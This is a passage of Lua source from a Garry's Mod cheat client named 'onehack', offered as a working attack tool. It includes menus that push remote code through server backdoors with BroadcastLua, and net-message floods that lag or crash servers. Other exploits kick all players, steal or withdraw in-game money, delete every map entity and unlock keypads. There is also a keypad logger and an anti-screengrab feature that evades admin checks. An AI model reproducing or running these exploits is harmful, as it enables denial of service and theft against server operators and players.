1112 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://d.zaix.ru/94TU.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Skibidi\")]])")
1113 net.WriteBit(1)
1114 net.SendToServer()
1115 end)
1116
1117 onehack.AddFunction("Музыка - нет админа", "sound", buttlistback, function()
1118 onehack.NetStart( onehack.selectedbackdoor )
1119 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://d.zaix.ru/92xM.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Поиг аю я в CS\")]])")
1120 net.WriteBit(1)
1121 net.SendToServer()
1122 end)
1123
1124 onehack.AddFunction("Музыка - Па авозик - Look At Me", "sound", buttlistback, function()
1125 onehack.NetStart( onehack.selectedbackdoor )
1126 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://d.zaix.ru/69Q8.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Па авозик\")]])")
1127 net.WriteBit(1)
1128 net.SendToServer()
1129 end)
1130
1131 onehack.AddFunction("Музыка - П ивет всем д узьям", "sound", buttlistback, function()
1132 onehack.NetStart( onehack.selectedbackdoor )
1133 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://supronrp.fr/secret/03.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"П ивет всем!\")]])")
1134 net.WriteBit(1)
1135 net.SendToServer()
1136 end)
1137 -- http://ru.drivemusic.cc/dl/XYbi6hfhrl28jZHmLCG9Qw/1545785442/download_music/2014/04/lindsey-stirling-feat.-lzzy-hale-shatter-me.mp3
1138 onehack.AddFunction("Музыка - Меня зовут НЛО.", "sound", buttlistback, function()
1139 onehack.NetStart( onehack.selectedbackdoor )
1140 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://musicdeouff.000webhostapp.com/2016.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Я НЛО\")]])")
1141 net.WriteBit(1)
1142 net.SendToServer()
1143 end)
1144
1145 onehack.AddFunction("Музыка - ТОМАС.", "sound", buttlistback, function()
1146 onehack.NetStart( onehack.selectedbackdoor )
1147 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://fl.bisyor.net/uploads/ru/2018/04/Alley-gang-paravozik-tomas_[www.Bisyor.net].mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Томас\")]])")
1148 net.WriteBit(1)
1149 net.SendToServer()
1150 end)
1151 --
1152 onehack.AddFunction("Музыка - DSD512►Lindsey Stirling Shatter Me", "sound", buttlistback, function()
1153 onehack.NetStart( onehack.selectedbackdoor )
1154 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://ru.drivemusic.cc/dl/XYbi6hfhrl28jZHmLCG9Qw/1545785442/download_music/2014/04/lindsey-stirling-feat.-lzzy-hale-shatter-me.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"DSD512►Lindsey Stirling Shatter Me\")]])")
1155 net.WriteBit(1)
1156 net.SendToServer()
1157 end)
1158
1159 onehack.AddFunction("Музыка - Вишневая семё ка", "sound", buttlistback, function()
1160 onehack.NetStart( onehack.selectedbackdoor )
1161 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://dropmp3.ru/uploads/files/2018-08/1535648946_oni-vishnevaya-semerka.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Вишневая семё ка\")]])")
1162 net.WriteBit(1)
1163 net.SendToServer()
1164 end)
1165 onehack.AddFunction("Музыка - ООООООООООО ", "sound", buttlistback, function()
1166 onehack.NetStart( onehack.selectedbackdoor )
1167 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://d.zaix.ru/6377.mp3\", \"mono\", function()end ); chat.AddText(,Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"-Уши\")]])")
1168 net.WriteBit(1)
1169 net.SendToServer()
1170 end)
1171 onehack.AddFunction("Музыка - Obeme", "sound", buttlistback, function()
1172 onehack.NetStart( onehack.selectedbackdoor )
1173 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://d.zaix.ru/9Aed.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Обеме\")]])")
1174 net.WriteBit(1)
1175 net.SendToServer()
1176 end)
1177 --
1178 onehack.AddFunction("Музыка - Денза", "sound", buttlistback, function()
1179 onehack.NetStart( onehack.selectedbackdoor )
1180 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://d.zaix.ru/94TW.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Денза\")]])")
1181 net.WriteBit(1)
1182 net.SendToServer()
1183 end)
1184 onehack.AddFunction("Музыка - Big baby tape", "sound", buttlistback, function()
1185 onehack.NetStart( onehack.selectedbackdoor )
1186 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://zenmusic.org/get/music/20181121/zenmusicorg_Big_Baby_Tape_-_YA_VZYAL_TVOYU_BU_I_YA_EJO_EBU_60457129.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"BABY TAPE\")]])")
1187 net.WriteBit(1)
1188 net.SendToServer()
1189 end)
1190
1191 if onehack.selectedpanel != nil then
1192 onehack.selectedpanel:Remove()
1193 end
1194 onehack.selectedpanel_id = 1
1195 onehack.selectedpanel = onehackdooropt
1196 end
1197
1198 function exploitmenuopt()
1199 exploitmenuopt = vgui.Create( "DPanel" , framesag )
1200 exploitmenuopt:SetPos( 126, 9 )
1201 exploitmenuopt:SetSize( framesag:GetWide()-120-13, framesag:GetTall()-16 )
1202 function exploitmenuopt:Paint( w, h )
1203 draw.RoundedBox( 0, 0, 0, w, h, onehack.theme.backgroundalt )
1204 end
1205
1206 onehack.exploitspanel = vgui.Create( "DPanel", exploitmenuopt )
1207 onehack.exploitspanel:SetPos(160,5)
1208 onehack.exploitspanel:SetSize(302,373)
1209 function onehack.exploitspanel:Paint( w,h )
1210 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1211 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
1212 end
1213
1214 onehack.exploitsList = vgui.Create( "DScrollPanel", onehack.exploitspanel )
1215 onehack.exploitsList:Dock(FILL)
1216 function onehack.exploitsList:Paint( w,h )
1217 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1218 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
1219 end
1220 onehack.exploitsList.VBar:SetWidth(1)
1221 onehack.exploitsList:GetVBar().Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploitsList:GetVBar():GetWide(), onehack.exploitsList:GetVBar():GetTall(), Color(255, 255, 255, 0)) end
1222 onehack.exploitsList:GetVBar().btnUp.Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploitsList:GetVBar().btnUp:GetWide(), onehack.exploitsList:GetVBar().btnUp:GetTall(), Color(0,0,0,0)) end
1223 onehack.exploitsList:GetVBar().btnDown.Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploitsList:GetVBar().btnDown:GetWide(), onehack.exploitsList:GetVBar().btnDown:GetTall(), Color(0,0,0,0)) end
1224 onehack.exploitsList:GetVBar().btnGrip.Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploitsList:GetVBar().btnGrip:GetWide(), onehack.exploitsList:GetVBar().btnGrip:GetTall(), onehack.theme.chroma) end
1225
1226 onehack.exploits_players_list = vgui.Create( "DScrollPanel", exploitmenuopt )
1227 onehack.exploits_players_list:SetPos(5,25)
1228 onehack.exploits_players_list:SetSize(150,298)
1229 function onehack.exploits_players_list:Paint( w,h )
1230 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1231 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
1232 end
1233 onehack.exploits_players_list.VBar:SetWidth(1)
1234 onehack.exploits_players_list:GetVBar().Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploits_players_list:GetVBar():GetWide(), onehack.exploits_players_list:GetVBar():GetTall(), Color(255, 255, 255, 0)) end
1235 onehack.exploits_players_list:GetVBar().btnUp.Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploits_players_list:GetVBar().btnUp:GetWide(), onehack.exploits_players_list:GetVBar().btnUp:GetTall(), Color(0,0,0,0)) end
1236 onehack.exploits_players_list:GetVBar().btnDown.Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploits_players_list:GetVBar().btnDown:GetWide(), onehack.exploits_players_list:GetVBar().btnDown:GetTall(), Color(0,0,0,0)) end
1237 onehack.exploits_players_list:GetVBar().btnGrip.Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploits_players_list:GetVBar().btnGrip:GetWide(), onehack.exploits_players_list:GetVBar().btnGrip:GetTall(), onehack.theme.chroma) end
1238
1239 onehack.player_button_prev = vgui.Create( "DButton", exploitmenuopt )
1240 onehack.player_button_prev:SetText( "" )
1241 onehack.player_button_prev:SetPos(5,5)
1242 onehack.player_button_prev:SetSize(150,20)
1243 function onehack.player_button_prev:Paint( w,h )
1244 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1245 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
1246 draw.SimpleText("Player list","DermaDefault",w/2,h/2,Color(130,130,130),1,1)
1247 end
1248
1249 onehack.player_button_all = onehack.exploits_players_list:Add( "DButton" )
1250 onehack.player_button_all:SetText( "" )
1251 onehack.player_button_all:Dock( TOP )
1252 onehack.player_button_all:DockMargin( 0, 0, 0, 0 )
1253 function onehack.player_button_all:Paint( w,h )
1254 if onehack.player_button_all:IsHovered() then
1255 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1256 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt3)
1257 else
1258 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1259 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt)
1260 end
1261 if onehack.selected_player == 0 then
1262 draw.SimpleText("> All player's <","DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
1263 else
1264 draw.SimpleText("All player's","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
1265 end
1266 end
1267 function onehack.player_button_all:DoClick()
1268 onehack.selected_player = 0
1269 end
1270
1271 for k,v in pairs(player.GetAll()) do
1272 local onehack_player_button = onehack.exploits_players_list:Add( "DButton" )
1273 onehack_player_button:SetText( "" )
1274 onehack_player_button:Dock( TOP )
1275 onehack_player_button:DockMargin( 0, 0, 0, 0 )
1276 onehack_player_button.Paint = function( _, w, h )
1277 if onehack_player_button:IsHovered() then
1278 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1279 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt3)
1280 else
1281 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1282 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt)
1283 end
1284 if onehack.selected_player == v then
1285 draw.SimpleText("> "..v:Name().." <","DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
1286 else
1287 draw.SimpleText(v:Name(),"DermaDefault",w/2,h/2,Color(255,255,255),1,1)
1288 end
1289 end
1290 function onehack_player_button:DoClick()
1291 onehack.selected_player = v
1292 end
1293 end
1294
1295 onehack.exploitstrip_weapontype = vgui.Create("DTextEntry", exploitmenuopt)
1296 onehack.exploitstrip_weapontype:SetPos( 5, 329 )
1297 onehack.exploitstrip_weapontype:SetSize( 150, 25 )
1298 onehack.exploitstrip_weapontype:SetText( "" )
1299 onehack.exploitstrip_weapontype.Paint = function( self, w, h )
1300 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1301 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
1302 self:DrawTextEntryText(onehack.theme.chroma,onehack.theme.chroma,onehack.theme.chroma)
1303 if onehack.exploitstrip_weapontype:GetValue() == "" then
1304 draw.SimpleText("Weapon class (* all)","DermaDefault",3,h/2,Color(255,255,255,5),0,1)
1305 end
1306 end
1307
1308 onehack.exploitstrip = vgui.Create( "DButton", exploitmenuopt )
1309 onehack.exploitstrip:SetPos( 5, 353 )
1310 onehack.exploitstrip:SetSize( 150, 25 )
1311 onehack.exploitstrip:SetText( "" )
1312 onehack.exploitstrip.Paint = function( _, w, h )
1313 if onehack.exploitstrip:IsHovered() then
1314 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1315 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
1316 else
1317 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1318 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
1319 end
1320 draw.SimpleText("Strip Weapon","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
1321 end
1322 function onehack.exploitstrip:DoClick()
1323 if onehack.selected_player ~= 0 then
1324 local weapons = onehack.selected_player:GetWeapons()
1325 if not onehack.exploitstrip_weapontype:GetValue() == "*" then
1326 local stringtotable = string.Explode( ", ", onehack.exploitstrip_weapontype:GetValue() )
1327 for _, g in pairs( weapons ) do
1328 for _, s in pairs( stringtotable ) do
1329 if string.find( string.lower( g:GetClass() ), s ) then
1330 onehack.StripWeapon( g )
1331 end
1332 end
1333 end
1334 else
1335 onehack.StripAllWeapons( weapons )
1336 end
1337 else
1338 for k,v in pairs(player.GetAll()) do
1339 local weapons = v:GetWeapons()
1340 if not onehack.exploitstrip_weapontype:GetValue() == "*" then
1341 local stringtotable = string.Explode( ", ", onehack.exploitstrip_weapontype:GetValue() )
1342 for _, g in pairs( weapons ) do
1343 for _, s in pairs( stringtotable ) do
1344 if string.find( string.lower( g:GetClass() ), s ) then
1345 onehack.StripWeapon( g )
1346 end
1347 end
1348 end
1349 else
1350 onehack.StripAllWeapons( weapons )
1351 end
1352 end
1353 end
1354
1355
1356 end
1357
1358 if table.HasValue( onehack.AllNets, "StackGhost" ) then
1359 onehack.AddExploit("Server Lagger", function()
1360 timer.Create( onehack.RandomString(10), 0.02, 0, function()
1361 for i = 1, 2000 do
1362 onehack.NetStart( str )
1363 onehack.NetWireInt(69,32)
1364 onehack.SendToServak()
1365 end
1366 end)
1367 end)
1368 end
1369 if table.HasValue( onehack.AllNets, "SyncPrinterButtons76561198056171650" ) then
1370 onehack.AddExploit("Steal money of printer", function()
1371 for _,v in pairs(ents.FindByClass("adv_moneyprinter")) do
1372 if v:IsValid() then
1373 onehack.NetStart( "SyncPrinterButtons76561198056171650" )
1374 net.WriteEntity(v)
1375 net.WriteUInt(2, 4)
1376 onehack.SendToServak()
1377 end
1378 end
1379 end)
1380 end
1381 if table.HasValue( onehack.AllNets, "DL_Answering" ) then
1382 onehack.AddExploit("Kick all", function()
1383 local function reportQuestionmark()
1384 for i = 1, 2000 do
1385 onehack.NetStart("DL_Answering")
1386 net.SendToServer()
1387 end
1388 end
1389 timer.Create(onehack.RandomString(10),0.1,50,reportQuestionmark)
1390 end)
1391 end
1392 if table.HasValue( onehack.AllNets, "pac_submit" ) then
1393 onehack.AddExploit("PAC Server Lagger", function()
1394 timer.Create( onehack.RandomString(10), 0.02, 0, function()
1395 for i=1, 1000 do
1396 onehack.NetStart("pac_submit")
1397 onehack.SendToServak()
1398 end end)
1399 end)
1400 end
1401 if table.HasValue( onehack.AllNets, "Client_To_Server_OpenEditor" ) then
1402 onehack.AddExploit("Open menu SCP-249", function()
1403 onehack.NetStart("Client_To_Server_OpenEditor")
1404 onehack.SendToServak()
1405 end)
1406 end
1407
1408 if table.HasValue( onehack.AllNets, "BuyKey" ) then
1409 onehack.AddExploit("Blue UnBox buy crate and key", function()
1410 onehack.NetStart("BuyKey")
1411 onehack.SendToServak()
1412 onehack.NetStart("BuyCrate")
1413 onehack.SendToServak()
1414 end)
1415 end
1416
1417 if table.HasValue( onehack.AllNets, "ChangeOrgName" ) then
1418 onehack.AddExploit("Change org name", function()
1419 onehack.NetStart("ChangeOrgName")
1420 onehack.NetWireString("OOOOOOOOMMMMMMMMMMMGOOOOOOOOOOOOOOOOOD!")
1421 onehack.NetWireString("MY DICK SOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO BIIIIIIIIIIIG!")
1422 net.WriteEntity(LocalPlayer())
1423 onehack.SendToServak()
1424 end)
1425 end
1426
1427 if table.HasValue( onehack.AllNets, "IS_SubmitSID_C2S" ) then
1428 onehack.AddExploit("Easy reward", function()
1429 onehack.NetStart("IS_SubmitSID_C2S")
1430 onehack.NetWireString("Killa")
1431 onehack.SendToServak()
1432 onehack.NetStart("IS_GetReward_C2S")
1433 onehack.SendToServak()
1434 end)
1435 end
1436
1437 if table.HasValue( onehack.AllNets, "IS_SubmitSID_C2S" ) then
1438 onehack.AddExploit("Easy reward", function()
1439 onehack.NetStart("IS_SubmitSID_C2S")
1440 onehack.NetWireString("Killa")
1441 onehack.SendToServak()
1442 onehack.NetStart("IS_GetReward_C2S")
1443 onehack.SendToServak()
1444 end)
1445 end
1446
1447 if table.HasValue( onehack.AllNets, "properties" ) then
1448 onehack.AddExploit("Clear map", function()
1449 for k,v in pairs(ents.GetAll()) do
1450 onehack.NetStart("properties")
1451 onehack.NetWireString( "remove" , 32 )
1452 net.WriteEntity( v )
1453 onehack.SendToServak()
1454 end
1455 end)
1456 end
1457
1458 if table.HasValue( onehack.AllNets, "start_wd_emp" ) then
1459 onehack.AddExploit("Hack all keypad's", function()
1460 onehack.NetStart('start_wd_emp')
1461 onehack.SendToServak()
1462 end)
1463 end
1464
1465 if table.HasValue( onehack.AllNets, "pac.net.TouchFlexes.ClientNotify" ) then
1466 onehack.AddExploit("PAC Server Crash", function()
1467 timer.Create(onehack.RandomString(10), 0, 0, function()
1468 for i = 1, 400 do
1469 onehack.NetStart("pac.net.TouchFlexes.ClientNotify")
1470 net.WriteInt( 9999999999999999999999999999999999999999999999999999999999999999999999, 13)
1471 onehack.SendToServak()
1472 end
1473 end)
1474 end)
1475 end
1476
1477 if table.HasValue( onehack.AllNets, "ItemStoreDrop" ) then
1478 onehack.AddExploit("ItemStore Lagger", function()
1479 timer.Create(onehack.RandomString(10), 0, 0, function()
1480 for i = 1, 1000 do
1481 onehack.NetStart("ItemStoreDrop")
1482 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
1483 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
1484 onehack.SendToServak()
1485 end
1486 end)
1487 end)
1488 end
1489
1490 if table.HasValue( onehack.AllNets, "TFA_Attachment_RequestAll" ) then
1491 onehack.AddExploit("TFA Lagger", function()
1492 timer.Create(onehack.RandomString(10), 0.02, 0, function()
1493 for i = 1, 4400 do
1494 onehack.NetStart("TFA_Attachment_RequestAll",true)
1495 onehack.SendToServak()
1496 end
1497 end)
1498 end)
1499 end
1500
1501 if table.HasValue( onehack.AllNets, "TFA_Attachment_RequestAll" ) then
1502 onehack.AddExploit("TFA Lagger", function()
1503 timer.Create(onehack.RandomString(10), 0.02, 0, function()
1504 for i = 1, 4400 do
1505 onehack.NetStart("TFA_Attachment_RequestAll",true)
1506 onehack.SendToServak()
1507 end
1508 end)
1509 end)
1510 end
1511
1512 if table.HasValue( onehack.AllNets, "ts_buytitle" ) then
1513 onehack.AddExploit("Car Dealer Lagger", function()
1514 timer.Create(onehack.RandomString(10), 0, 0, function()
1515 for i=1,1000 do
1516 onehack.NetStart("ts_buytitle",true)
1517 net.WriteTable({})
1518 net.WriteTable({})
1519 net.WriteTable({})
1520 onehack.SendToServak()
1521 end
1522 end )
1523 end)
1524 end
1525
1526 if table.HasValue( onehack.AllNets, "EnterpriseWithdraw" ) then
1527 onehack.AddExploit("Withdraw moneyr", function()
1528 onehack.NetStart("EnterpriseWithdraw")
1529 net.WriteInt(100, 32)
1530 onehack.SendToServak()
1531 end)
1532 end
1533
1534 ---------------------------------------------------------------------------------------
1535 if onehack.selectedpanel != nil then
1536 onehack.selectedpanel:Remove()
1537 end
1538 onehack.selectedpanel_id = 2
1539 onehack.selectedpanel = exploitmenuopt
1540 end
1541
1542 function optionsmenuopt()
1543 optionsmenuopt = vgui.Create( "DPanel" , framesag )
1544 optionsmenuopt:SetPos( 126, 9 )
1545 optionsmenuopt:SetSize( framesag:GetWide()-120-13, framesag:GetTall()-16 )
1546 function optionsmenuopt:Paint( w, h )
1547 draw.RoundedBox( 0, 0, 0, w, h, onehack.theme.backgroundalt )
1548 end
1549 local Theme = vgui.Create( "DColorMixer",optionsmenuopt);
1550 Theme:SetSize(227,227)
1551 Theme:SetPos(5,5)
1552 Theme:SetPalette( false )
1553 Theme:SetWangs( false )
1554 Theme:SetAlphaBar( false )
1555 Theme:SetColor(Color(onehack.theme.chroma.r,onehack.theme.chroma.g,onehack.theme.chroma.b))
1556 function Theme:ValueChanged( color)
1557 onehack.theme.chroma = Color(color.r,color.g,color.b)
1558 onehack.theme.chromaalt = Color(onehack.theme.chroma.r-55,onehack.theme.chroma.g-60,onehack.theme.chroma.b-30)
1559 end
1560
1561 local asg = vgui.Create("DCheckBox",optionsmenuopt)
1562 asg:SetPos(237,5)
1563 asg:SetValue(onehack.Vars['ASR'])
1564 asg:SetSize(130,17)
1565 function asg:Paint(w,h)
1566 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1567 if asg:GetChecked() then
1568 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1569 end
1570 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1571 draw.SimpleText("Anti-ScreenGrab","DermaDefault",24,h/2,Color(255,255,255),0,1)
1572 onehack.Vars['ASR'] = asg:GetChecked()
1573 end
1574
1575 local asf = vgui.Create("DCheckBox",optionsmenuopt)
1576 asf:SetPos(237,27)
1577 asf:SetValue(onehack.Vars['ASF'])
1578 asf:SetSize(130,17)
1579 function asf:Paint(w,h)
1580 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1581 if asf:GetChecked() then
1582 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1583 end
1584 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1585 draw.SimpleText("Anti-FileSteal","DermaDefault",24,h/2,Color(255,255,255),0,1)
1586 onehack.Vars['ASF'] = asf:GetChecked()
1587 end
1588
1589 local bhop = vgui.Create("DCheckBox",optionsmenuopt)
1590 bhop:SetPos(237,49)
1591 bhop:SetValue(onehack.Vars['BHOP'])
1592 bhop:SetSize(130,17)
1593 function bhop:Paint(w,h)
1594 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1595 if bhop:GetChecked() then
1596 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1597 end
1598 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1599 draw.SimpleText("Bhop","DermaDefault",24,h/2,Color(255,255,255),0,1)
1600 onehack.Vars['BHOP'] = bhop:GetChecked()
1601 end
1602
1603 local WaterMark = vgui.Create("DCheckBox",optionsmenuopt)
1604 WaterMark:SetPos(237,72)
1605 WaterMark:SetValue(onehack.Vars['WaterMark'])
1606 WaterMark:SetSize(130,17)
1607 function WaterMark:Paint(w,h)
1608 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1609 if WaterMark:GetChecked() then
1610 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1611 end
1612 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1613 draw.SimpleText("WaterMark","DermaDefault",24,h/2,Color(255,255,255),0,1)
1614 onehack.Vars['WaterMark'] = WaterMark:GetChecked()
1615 end
1616
1617 local FreeCamBind = optionsmenuopt:Add( "DButton" )
1618 FreeCamBind:SetTextColor( Color( 200, 200, 200 ) )
1619 FreeCamBind:SetText( "" )
1620 FreeCamBind:SetPos(237,95)
1621 FreeCamBind:SetSize(225,23)
1622 function FreeCamBind:Paint( w,h )
1623 if FreeCamBind:IsHovered() then
1624 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1625 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
1626 else
1627 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1628 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
1629 end
1630 draw.SimpleText("Spectator Mode","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
1631 end
1632
1633 FreeCamBind.DoClick = function()
1634 onehack.SpectateMode()
1635 end
1636
1637 local netname = vgui.Create( "DComboBox", optionsmenuopt )
1638 netname:SetPos( 237, 124 )
1639 netname:SetSize( 225, 23 )
1640 netname:SetValue( "Select Network String" )
1641 for _,v in pairs(onehack.foundednets) do
1642 netname:AddChoice( v )
1643 end
1644 netname.OnSelect = function( self, index, value )
1645 onehack.selectedbackdoor = value
1646 end
1647 netname.Paint = function( _, w, h )
1648 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1649 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
1650 end
1651
1652 local weapnoslist = vgui.Create("DCheckBox",optionsmenuopt)
1653 weapnoslist:SetPos(237,172)
1654 weapnoslist:SetValue(onehack.Vars['WEAPON_LIST3D'])
1655 weapnoslist:SetSize(130,17)
1656 function weapnoslist:Paint(w,h)
1657 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1658 if weapnoslist:GetChecked() then
1659 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1660 end
1661 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1662 draw.SimpleText("Weapon list","DermaDefault",24,h/2,Color(255,255,255),0,1)
1663 onehack.Vars['WEAPON_LIST3D'] = weapnoslist:GetChecked()
1664 end
1665
1666 local keypadjef = vgui.Create("DCheckBox",optionsmenuopt)
1667 keypadjef:SetPos(237,192)
1668 keypadjef:SetValue(onehack.Vars['keypad_jiw'])
1669 keypadjef:SetSize(130,17)
1670 function keypadjef:Paint(w,h)
1671 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1672 if keypadjef:GetChecked() then
1673 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1674 end
1675 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1676 draw.SimpleText("Keypad logger","DermaDefault",24,h/2,Color(255,255,255),0,1)
1677 onehack.Vars['keypad_jiw'] = keypadjef:GetChecked()
1678 end
1679
1680 ------------------------------------------------------ onehack.Vars['ASR'] 1
1681 if onehack.selectedpanel != nil then
1682 onehack.selectedpanel:Remove()
1683 end
1684 onehack.selectedpanel_id = 3
1685 onehack.selectedpanel = optionsmenuopt
1686 end
1687
1688 function logsmenuopt()
1689 logsmenuopt = vgui.Create( "DPanel" , framesag )
1690 logsmenuopt:SetPos( 126, 9 )
1691 logsmenuopt:SetSize( framesag:GetWide()-120-13, framesag:GetTall()-16 )
1692 function logsmenuopt:Paint( w, h )
1693 draw.RoundedBox( 0, 0, 0, w, h, onehack.theme.backgroundalt )
1694
1695 local red = 255 - (onehack.memory["logic"]*2.55)
1696 local green = onehack.memory["logic"] * 2.55
1697 local atadd = 52
1698 draw.RoundedBox(0,5,364,200+atadd,13,onehack.theme.backgroundalt2)
1699 draw.RoundedBox(0,6,365,(200-2)+atadd,13-2,onehack.theme.backgroundalt)
1700
1701 draw.RoundedBox(0,6, 365, math.Clamp( (onehack.memory["logic"]) * 0.75, 0, 200+atadd)-2, 13-2,Color(green,red, 0, 255) )
1702 draw.SimpleText("Core memory usage: "..onehack.memory["logic"].."kb","DermaDefault",(90-6)+atadd,363+(13/2),Color(255,255,255,100),1,1)
1703
1704 local red2 = 255 - (onehack.memory["hud"]*2.55)
1705 local green2 = onehack.memory["hud"] * 2.55
1706 local atstop = 257
1707 draw.RoundedBox(0,5+atstop,364,200,13,onehack.theme.backgroundalt2)
1708 draw.RoundedBox(0,6+atstop,365,200-2,13-2,onehack.theme.backgroundalt)
1709 local hudmemstext
1710 if onehack.memory["hud"] < 0 then
1711 hudmemstext = 0
1712 else
1713 hudmemstext = onehack.memory["hud"]
1714 end
1715
1716 draw.RoundedBox(0,6+atstop, 365, math.Clamp( (onehack.memory["hud"]) * 0.75, 0, 200)-2, 13-2,Color(green2,red2, 0, 255) )
1717 draw.SimpleText("Visuals memory usage: "..hudmemstext.."kb","DermaDefault",(110-6)+atstop,363+(13/2),Color(255,255,255,100),1,1)
1718 end
1719 logsmenuoptrichtext = vgui.Create( "RichText", logsmenuopt )
1720 logsmenuoptrichtext:SetPos(5, 5)
1721 logsmenuoptrichtext:SetSize( 457,353 ) --373
1722 logsmenuoptrichtext.Paint = function( _, w, h )
1723 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1724 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
1725 end
1726 for idx, tab in pairs(onehack.debug) do
1727 logsmenuoptrichtext:InsertColorChange( tab[2].r, tab[2].g, tab[2].b, 255 )
1728 logsmenuoptrichtext:AppendText( tab[1].."\n" )
1729 end
1730
1731 if onehack.selectedpanel != nil then
1732 onehack.selectedpanel:Remove()
1733 end
1734 onehack.selectedpanel_id = 4
